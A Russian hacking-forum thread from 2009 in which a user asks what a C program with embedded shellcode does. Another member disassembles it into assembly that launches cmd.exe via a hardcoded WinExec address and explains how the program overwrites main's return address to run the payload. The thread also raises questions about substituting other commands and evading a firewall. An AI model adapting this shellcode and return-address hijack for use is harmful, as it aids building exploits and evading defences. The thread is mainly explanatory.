Странный shell

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by =Zeus=, 7 Dec 2009.

  1. =Zeus=

    =Zeus= Member

    Joined:
    10 Aug 2009
    Messages:
    213
    Likes Received:
    54
    Reputations:
    5
    Кто-то может обьяснить, что делает этот код? Скачал с милворма, там написано, что это шелл для cmd.
    Я откомпилировал, но не могу понять, что он делает.
    Code:
    #include <stdio.h>
    #include <string.h>
    unsigned char shellcode[] =
                            "\x8b\xec\x68\x65\x78\x65"
                            "\x20\x68\x63\x6d\x64\x2e"
                            "\x8d\x45\xf8\x50\xb8\x8D"
                            "\x15\x86\x7C\xff\xd0";
    int main ()
    {
    int *ret;
    ret=(int *)&ret+2;
    printf("Shellcode Length is : %d\n",strlen(shellcode));
    (*ret)=(int)shellcode;
    return 0;
    }
    
    Написано, что он "Execute Cmd.exe", то есть вызывает cmd. Если да, то как это использовать?
     
    #1 =Zeus=, 7 Dec 2009
    Last edited: 7 Dec 2009
  2. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Code:
     "\x8b\xec\x68\x65\x78\x65"
                            "\x20\x68\x63\x6d\x64\x2e"
                            "\x8d\x45\xf8\x50\xb8\x8D"
                            "\x15\x86\x7C\xff\xd0";
    
    
    это асм команды:
    Code:
    mov         ebp,esp 
    push        20657865h // 
    push        2E646D63h // это типа cmd.exe
    lea         eax,[ebp-8] 
    push        eax  
    mov         eax,7C86158Dh // это хардкодно прописали адрес функции скорее всего WinExec
    call        eax   // вызвать функцию
    
    такая вешь ооочень фуфлова, потом что работает только на определенной версии винды и языка системы.
    Другой язык или/и другая версия винды и будет провал.
     
    #2 slesh, 7 Dec 2009
    Last edited: 7 Dec 2009
  3. =Zeus=

    =Zeus= Member

    Joined:
    10 Aug 2009
    Messages:
    213
    Likes Received:
    54
    Reputations:
    5
    А как тогда передать параметры в WinExec()?
    Фаервол все равно спалит вызов?
     
  4. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    При этом комбинация
    Code:
    int *ret;
    ret=(int *)&ret+2; //  ret будет равняться адресу созврата из функции main
    printf("Shellcode Length is : %d\n",strlen(shellcode));
    (*ret)=(int)shellcode; // перебьем адрес возврата на шелкод
    return 0; // завершим функцию main. А т.к. адрес возврата мы подменили то вызовется шелкод
    
    т.е. это пример вызова этого кода через срыв стека.

    Передача параметров идет так:
    Code:
    mov         ebp,esp // запомним адрес вершины стека
    // поместим в стек 
    push        20657865h //
    push        2E646D63h // это типа cmd.exe
    lea         eax,[ebp-8] // eax будет равняться указателю на начало строки cmd.exe которую закинули в стек
    push        eax  // занесем параметр для WinExec а именно адрес имени проги. В нашем случае cmd.exe
    

    Причем тут фаер?
     
    #4 slesh, 8 Dec 2009
    Last edited: 8 Dec 2009
    1 person likes this.
  5. =Zeus=

    =Zeus= Member

    Joined:
    10 Aug 2009
    Messages:
    213
    Likes Received:
    54
    Reputations:
    5
    1. Я понимаю что для того чтобы что-то изменить нужно знать асм?
    2. Ну например на Делфи если написать
    то фаер спалит запрос. А тут?

    Code:
    push        2E646D63h // это типа cmd.exe
    А сюда писать то, что мне нужно вызвать?
     
    #5 =Zeus=, 8 Dec 2009
    Last edited: 8 Dec 2009
  6. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Это ASM) Самый сложный ЯП.
     
  7. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    не сложнее остальных